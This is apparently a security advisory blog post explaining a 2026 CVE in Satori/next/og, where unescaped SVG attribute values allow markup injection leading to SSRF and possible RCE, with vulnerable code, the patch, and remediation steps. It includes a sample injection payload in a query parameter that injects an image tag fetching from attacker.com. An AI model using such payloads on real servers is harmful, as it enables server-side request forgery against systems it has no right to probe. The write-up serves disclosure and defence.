October 13, 2026
CVE-2026โ94545 Explained: What Happens When an OG-Image Generator Forgets to Escape
Overview
By Guidancewhite
5 min read
Overview
Next.js's next/og module generates Open Graph images โ the preview cards you see when a link gets shared on social platforms โ straight from JSX and CSS. Because it's routine to drop external input like a blog post title or a profile name directly into that image, this feature is almost always exposed as a public endpoint reachable with no login at all.
The core of this CVE is that a value went unescaped in the middle of the image pipeline (JSX โ SVG). ImageResponse converts JSX into an SVG string internally through a library called Satori, and during that conversion, characters like ", <, and > inside attribute values or text were being dropped straight into the SVG string as-is. If an attacker supplies input containing those characters, what should have been "a piece of text" turns into "an entirely new SVG tag." That finished SVG then goes through sharp to be rasterized into a PNG by native libraries โ libvips, librsvg, libxml2 โ and when an XML document whose structure the attacker fully controls reaches those native parsers, it can lead to remote code execution with the privileges of the server process.
Where the flaw lives โ from JSX to PNG
Here's the full path ImageResponse takes to produce an image:
- Application code hands JSX to
new ImageResponse(<div>...</div>). That JSX usually contains external input โ a URL query parameter, for instance. - Satori parses the JSX and CSS and assembles an SVG string.
- The assembled SVG string is passed to
sharpto be rasterized into a PNG. - The finished PNG is returned as the OG image.
// Example application code
export async function GET(req) {
const title = req.nextUrl.searchParams.get('title');
return new ImageResponse(
<div style={{ fontSize: 48 }}>{title}</div>
);
}// Example application code
export async function GET(req) {
const title = req.nextUrl.searchParams.get('title');
return new ImageResponse(
<div style={{ fontSize: 48 }}>{title}</div>
);
}Here, title is entirely attacker-controlled. The problem sits in step 2 โ the exact moment Satori turns that value into an SVG string.
Step-by-step source analysis
Step 1 โ Satori interpolates attribute values and text into a template literal, unescaped
Before the fix, Satori's preprocess.ts serialized each SVG element's attributes using a plain template literal:
// src/handler/preprocess.ts (before the fix, vercel/satori)
const attrs = `${Object.entries(restProps)
.map(([k, _v]) => {
if (typeof _v === 'string' && _v.toLowerCase() === 'currentcolor') {
_v = currentColor
}
return ` ${ATTRIBUTE_MAPPING[k] || k}="${_v}"` // _v inserted as-is
})
.join('')}`// src/handler/preprocess.ts (before the fix, vercel/satori)
const attrs = `${Object.entries(restProps)
.map(([k, _v]) => {
if (typeof _v === 'string' && _v.toLowerCase() === 'currentcolor') {
_v = currentColor
}
return ` ${ATTRIBUTE_MAPPING[k] || k}="${_v}"` // _v inserted as-is
})
.join('')}`Text nodes received the same treatment:
// src/handler/preprocess.ts (before the fix)
if (typeof node !== 'object') return String(node) // stringified, never escaped// src/handler/preprocess.ts (before the fix)
if (typeof node !== 'object') return String(node) // stringified, never escapedWhatever characters end up in _v (an attribute value) or node (text content), there's no step that turns ", <, >, or & โ characters with special meaning in HTML/XML โ into their entity equivalents. In other words, nothing stopped a value from being read as part of the markup instead of as data.
Step 2 โ a " and > in the value break the attribute boundary and spawn a new tag
The code that renders a <text> element puts a value like title directly into an attribute. If an attacker sends:
title = A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>title = A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>the assembled SVG string, with no escaping in place, actually comes out as:
<text x="10" title="A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>">...</text><text x="10" title="A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>">...</text>The attribute that was supposed to end at title="A" cuts off right at A", and what follows โ ><image .../> โ is no longer parsed as an attribute of <text> at all. It becomes an entirely new, sibling-level SVG element. Put an external URL in <image>'s href and you get SSRF; break into <foreignObject> or <style> instead, and you open up a different parsing path. Which tag gets injected is entirely up to the attacker โ Satori had no way to tell the difference.
Step 3 โ the finished SVG reaches the native parsers through sharp
Once assembled, the SVG string is handed to sharp to be converted into a PNG:
// next/og internals (conceptual)
const png = await sharp(Buffer.from(svgString)).png().toBuffer()// next/og internals (conceptual)
const png = await sharp(Buffer.from(svgString)).png().toBuffer()sharp doesn't parse SVG itself โ it delegates to libvips, which in turn calls native libraries like librsvg and libxml2 to interpret the SVG. At this point, what Satori handed off is no longer "a picture description containing a title" โ it's an XML document whose structure the attacker designed. Feeding that document to a native parser opens two kinds of damage:
- SSRF, via an injected
<image href="http://...">that makes the server request an arbitrary internal or external resource - RCE, if the crafted SVG structure triggers memory corruption while
librsvg/libxml2parse it, executing arbitrary code with the privileges of the Next.js server process
Two conditions have to hold for the attack to work: ImageResponse must run on the Node.js runtime (the Edge runtime isn't affected), and attacker-controlled input must land in SVG content, an attribute, or a style. OG image routes are public by design, and sharp ships by default in most production deployments, including the official Docker image โ so both conditions are satisfied in common setups without anyone doing anything unusual.
The patch โ escape values, validate names
Satori 0.33.5 reworked the entire SVG serialization path to handle values and names through two different, purpose-built mechanisms.
// src/utils.ts (after the fix)
export function escapeXMLAttribute(value: unknown): string {
if (
typeof value === 'number' ||
typeof value === 'bigint' ||
typeof value === 'boolean'
) {
return '' + value
}
return escapeHTML(String(value)) // string values are always escaped
}
export function escapeXMLText(value: unknown): string {
return escapeHTML(String(value))
}
export function assertValidXMLName(name: string, kind: 'element' | 'attribute') {
if (!VALID_XML_NAME.test(name)) {
throw new Error(`Invalid XML ${kind} name: ${JSON.stringify(name)}`)
}
}// src/utils.ts (after the fix)
export function escapeXMLAttribute(value: unknown): string {
if (
typeof value === 'number' ||
typeof value === 'bigint' ||
typeof value === 'boolean'
) {
return '' + value
}
return escapeHTML(String(value)) // string values are always escaped
}
export function escapeXMLText(value: unknown): string {
return escapeHTML(String(value))
}
export function assertValidXMLName(name: string, kind: 'element' | 'attribute') {
if (!VALID_XML_NAME.test(name)) {
throw new Error(`Invalid XML ${kind} name: ${JSON.stringify(name)}`)
}
}And the serializer, buildXMLString(), now routes every attribute through that escaping function:
// src/utils.ts (after the fix)
export function buildXMLString(
type: string,
attrs: Record<string, unknown>,
children?: string
) {
assertValidXMLName(type, 'element')
let attrString = ''
for (const [k, _v] of Object.entries(attrs)) {
if (typeof _v !== 'undefined') {
assertValidXMLName(k, 'attribute')
attrString += ` ${k}="${escapeXMLAttribute(_v)}"` // value: escaped
}
}
...
}// src/utils.ts (after the fix)
export function buildXMLString(
type: string,
attrs: Record<string, unknown>,
children?: string
) {
assertValidXMLName(type, 'element')
let attrString = ''
for (const [k, _v] of Object.entries(attrs)) {
if (typeof _v !== 'undefined') {
assertValidXMLName(k, 'attribute')
attrString += ` ${k}="${escapeXMLAttribute(_v)}"` // value: escaped
}
}
...
}Values go through escapeXMLAttribute()/escapeXMLText(), which convert ", <, >, &, and the like into entities โ turning them into strings that can never break out of a tag. Tag names and attribute names (keys), on the other hand, can't be escaped at all by nature, so those go through assertValidXMLName() instead, which throws if the name doesn't conform to the XML naming spec. Escaping for values, validation for names โ treating two fundamentally different kinds of input with the mechanism each one actually needs is the core of this fix.
Remediation
- Update Next.js to 16.3.6 or later. If you depend on Satori directly, update it to 0.33.5 or later.
- If an immediate update isn't possible, audit every path where user input reaches the JSX passed to
ImageResponse. Where feasible, moving the affected route to the Edge runtime, or running it in an environment without thesharpdependency, can serve as a temporary mitigation โ though neither is a substitute for the real patch. - Since OG image routes are inherently meant to be public, a WAF rule that temporarily blocks requests where image-generation query parameters (
title,description, etc.) contain ", <, or > can help in the interim. - If there was a window of exposure, check outbound request logs for signs that a
sharp/librsvgprocess reached an unexpected external host โ a possible indicator of SSRF.